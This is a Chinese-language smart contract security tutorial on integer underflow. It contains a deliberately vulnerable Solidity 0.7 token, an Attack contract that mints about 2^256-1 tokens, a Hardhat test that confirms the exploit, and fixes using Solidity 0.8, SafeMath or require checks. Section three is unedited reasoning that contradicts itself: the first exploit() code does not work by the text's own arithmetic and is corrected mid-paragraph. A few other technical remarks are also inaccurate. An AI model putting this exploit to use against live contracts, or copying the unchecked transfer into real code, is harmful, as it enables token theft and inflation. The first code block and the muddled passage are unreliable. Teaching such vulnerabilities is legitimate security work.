10分钟智能合约:进阶实战-5.5 通过算术溢出增加资产

103 阅读8分钟

欢迎订阅专栏10分钟智能合约:进阶实战

实战3:通过算术下溢“刷”出天量资产

本实战将展示一个经典的整数下溢漏洞:由于转账函数未检查余额是否充足,且采用“先扣减后增加”的顺序,攻击者可以传入一个极大的数值,使自己的余额发生下溢,瞬间膨胀为天文数字,从而实现“凭空造币”。


一、场景设定

我们有一个简易代币合约,提供 deposittransfer 功能。transfer 函数的实现存在致命缺陷:

  • 它先执行 balances[msg.sender] -= amount,再执行 balances[to] += amount
  • 没有使用 require(balances[msg.sender] >= amount) 进行前置检查。

当攻击者账户余额为 0 时,尝试向他人转出一个巨大的 amount(例如 2^256 - 1),balances[msg.sender] -= amount 会发生下溢(0 - 1 = 2^256 - 1),从而使攻击者的余额变成一个超大数,而接收方余额也增加了 amount(但攻击者的余额已变得巨大,远超转账数额)。


二、漏洞合约(VulnerableToken.sol)

// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;   // 故意使用 0.7 以演示溢出

contract VulnerableToken {
    mapping(address => uint256) public balances;
    uint256 public totalSupply;

    event Transfer(address indexed from, address indexed to, uint256 value);

    constructor() {
        // 初始给合约部署者 1000 个代币
        balances[msg.sender] = 1000;
        totalSupply = 1000;
    }

    // 存款功能(仅用于测试)
    function deposit() external payable {}

    // ❌ 漏洞转账函数:先扣后加,且无余额检查
    function transfer(address to, uint256 amount) external {
        // 无 require(balances[msg.sender] >= amount)
        balances[msg.sender] -= amount;   // 这里可能下溢!
        balances[to] += amount;
        emit Transfer(msg.sender, to, amount);
    }

    // 查询余额
    function balanceOf(address account) external view returns (uint256) {
        return balances[account];
    }
}

漏洞分析

  • 缺少余额充足性检查,导致 msg.sender 余额不足时 -= 操作会下溢(在 Solidity 0.7 及更早版本中,算术溢出不会自动回滚)。
  • 攻击者只需拥有少量代币(甚至 0),即可通过调用 transfer 传入一个巨大的 amount(例如 2^256 - 1),使自己的余额从 0 变为 2^256 - 1(即下溢),同时接收方余额也增加了 amount,但攻击者新产生的余额远远超过转出量,实现“无中生有”。

三、攻击者合约(Attack.sol)

// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;

import "./VulnerableToken.sol";

contract Attack {
    VulnerableToken public token;
    address public owner;

    constructor(address _token) {
        token = VulnerableToken(_token);
        owner = msg.sender;
    }

    // 攻击入口:调用 transfer 发送一个极大的值给自己(或接收方)
    function exploit() external {
        // 让攻击合约先获得一点点代币(例如通过存款或接收),此处假设已通过其他方式获得了 1 个代币
        // 但即使余额为 0,也可以触发下溢
        // 我们选择向一个任意地址(比如零地址)转出 amount = 2^256 - 1
        uint256 hugeAmount = type(uint256).max;
        token.transfer(address(0), hugeAmount);
    }

    // 将攻击获得的代币转给 owner
    function withdraw() external {
        require(msg.sender == owner, "Not owner");
        uint256 balance = token.balanceOf(address(this));
        token.transfer(owner, balance);
    }

    receive() external payable {}
}

攻击流程

  1. 攻击者部署 Attack 合约,传入漏洞代币地址。
  2. 攻击者(或攻击合约)通过合法方式获得至少 1 个代币(如果余额为 0,下溢依然有效,但为了演示,我们先确保有余额)。
  3. 攻击者调用 exploit(),其中 token.transfer(address(0), type(uint256).max)
  4. 漏洞代币的 transfer 执行:balances[msg.sender] -= hugeAmount。由于 msg.sender 是攻击合约,其原有余额可能为 1,减去 2^256 - 1 会发生下溢,结果变为 2^256 - 1 + 1?实际上 1 - (2^256 - 1) = 2 - 2^256,模 2^256 后得到 2(因为溢出计算),但更标准的是:在 256 位无符号整数中,1 - (2^256 - 1) = 1 - 2^256 + 1 = 2 - 2^256,mod 2^256 = 2。所以攻击者余额会变成 2,而不是巨大的数?等等,我们需要仔细计算。

假设攻击者余额为 1,amount = 2^256 - 1。则 1 - (2^256 - 1) = 1 - 2^256 + 1 = 2 - 2^256,在模 2^256 下,这个结果等于 2(因为 2^2562^256 为 0)。所以攻击者余额变为 2,而接收方余额增加了 2^256 - 1,这会导致接收方余额也溢出(但接收方可能是零地址,我们不关心)。攻击者只获得了 2 个代币,并没有巨大的收益。

为了获得巨大的余额,我们应该选择一个 amount 使得 balances[msg.sender] - amount 下溢成一个巨大的值。如果攻击者余额为 0,选择 amount = 1,则 0 - 1 = 2^256 - 1,攻击者余额变成 2^256 - 1。所以攻击者应该用少量余额(比如 0)转入 1 个代币给自己?但 transfer 是转给别人,接收方是另一个地址,攻击者余额会变成巨大值,接收方增加 1。这样攻击者获得巨大余额,而只转出了 1 个代币,净收益巨大。

所以攻击者合约应该有 0 余额,调用 transfer(address(0), 1),则攻击者余额变为 2^256 - 1,接收方(零地址)增加 1,攻击者获得了巨量代币。

但攻击者合约原本没有余额,调用 transfer 时,msg.sender 是攻击合约,其 balances 为 0,0 - 1 = 2^256 - 1。所以攻击者成功刷出巨量代币。

那么攻击者可以后续调用 transfer 将这些代币转给自己(owner),或者直接在攻击合约中调用 transfer 转给 owner。

所以改进攻击合约:

function exploit() external {
    // 直接转 1 个代币给零地址,使自己的余额下溢成最大值
    token.transfer(address(0), 1);
}

这样攻击者合约的余额变成 2^256 - 1

然后调用 withdraw 转给 owner。

transfer 函数会再次做减法,由于攻击者余额巨大,减去转出数量后仍巨大,所以安全。

实际上,我们也可以让攻击者一开始就有一些余额,但以上方法最直接。

我们选择 amount = 1,攻击者合约余额初始为 0(因为 deposit 不会给代币,我们没有 mint 功能)。所以攻击者合约的 balanceOf 是 0,调用 transfer(address(0), 1) 后,攻击者余额变为 2^256 - 1

然后攻击者可以提取这些代币。

为了展示,我们可以在测试中验证。


四、实战操作(Hardhat + 测试脚本)

我们将使用 Hardhat 和 ethers.js 编写测试。注意,由于我们使用 Solidity 0.7,需要配置 solidity 版本。

测试脚本:

// test/attack.js
const { expect } = require("chai");
const { ethers } = require("hardhat");

describe("Underflow Attack", function () {
  let token, attack;
  let owner, attacker, zeroAddr;

  beforeEach(async function () {
    [owner, attacker] = await ethers.getSigners();
    zeroAddr = "0x0000000000000000000000000000000000000000";

    // 部署漏洞代币
    const Token = await ethers.getContractFactory("VulnerableToken");
    token = await Token.deploy();
    await token.deployed();

    // 给攻击者 EOA 转一点 ETH 用于部署攻击合约,但代币余额为 0
  });

  it("攻击者通过下溢获得巨量代币", async function () {
    // 1. 部署攻击合约
    const Attack = await ethers.getContractFactory("Attack");
    attack = await Attack.connect(attacker).deploy(token.address);
    await attack.deployed();

    // 2. 调用 exploit,触发下溢
    await attack.connect(attacker).exploit();

    // 3. 检查攻击合约的代币余额,应为 2^256 - 1
    const attackBalance = await token.balanceOf(attack.address);
    const maxUint = ethers.BigNumber.from("2").pow(256).sub(1);
    expect(attackBalance).to.equal(maxUint);

    // 4. 攻击者提取代币到自己的 EOA
    await attack.connect(attacker).withdraw();

    // 5. 检查攻击者 EOA 余额,应为巨量
    const attackerBalance = await token.balanceOf(attacker.address);
    expect(attackerBalance).to.equal(maxUint);
  });
});

注意:由于 attackBalanceBigNumbermaxUint 也是,比较应该通过 .eq() 方法。


五、防御修复

方案一:升级到 Solidity 0.8+(推荐)

Solidity 0.8 默认开启算术溢出检查,溢出时会自动 revert。只需将 pragma solidity ^0.8.0; 并将代码中的运算重写为安全版本即可(无需额外库)。

方案二:使用 SafeMath 库(适用于 0.8 以下版本)

OpenZeppelin 的 SafeMath 提供了带溢出检查的加减乘除。

import "@openzeppelin/contracts/math/SafeMath.sol";

contract SafeToken {
    using SafeMath for uint256;
    mapping(address => uint256) public balances;

    function transfer(address to, uint256 amount) external {
        // 使用 SafeMath 的 sub 和 add,会在溢出时 revert
        balances[msg.sender] = balances[msg.sender].sub(amount, "Insufficient balance");
        balances[to] = balances[to].add(amount);
    }
}

方案三:手动检查(不推荐)

对于每个算术操作,先检查条件:

function transfer(address to, uint256 amount) external {
    require(balances[msg.sender] >= amount, "Insufficient balance");
    balances[msg.sender] -= amount;
    balances[to] += amount;
}

这种简单的“检查-生效-交互”同样适用于防止下溢,但面对复杂计算时容易遗漏,因此仍推荐使用库或新版本编译器。


六、扩展:其他溢出场景

  • 乘法溢出:在计算代币总量或奖励时,如果 a * b 可能溢出,攻击者可通过构造参数使结果绕回,从而绕过总量上限。
  • 加法和累加:循环累加时未检查边界,导致 totalSupply 溢出。
  • 类型转换溢出:将 uint256 强制转换为 uint8 时,高位数会被截断,可能产生意想不到的小值。

真实案例:2018 年 BeautyChain(BEC)和 SmartMesh(SMT)均因批量转账函数中乘法溢出导致代币被无限增发,市值瞬间归零。


七、总结

  • 下溢攻击的本质:利用无符号整数减法在结果小于 0 时绕回最大值,从而“凭空”获得大量余额。
  • 根本原因:缺少对输入参数的边界检查和运算前的余额校验。
  • 防御三要素
    1. 使用 Solidity 0.8+ 或 SafeMath。
    2. 任何 -=+= 前,务必确保结果不会超出类型的取值范围。
    3. 遵循 检查-生效-交互 模式,先验证条件,再修改状态。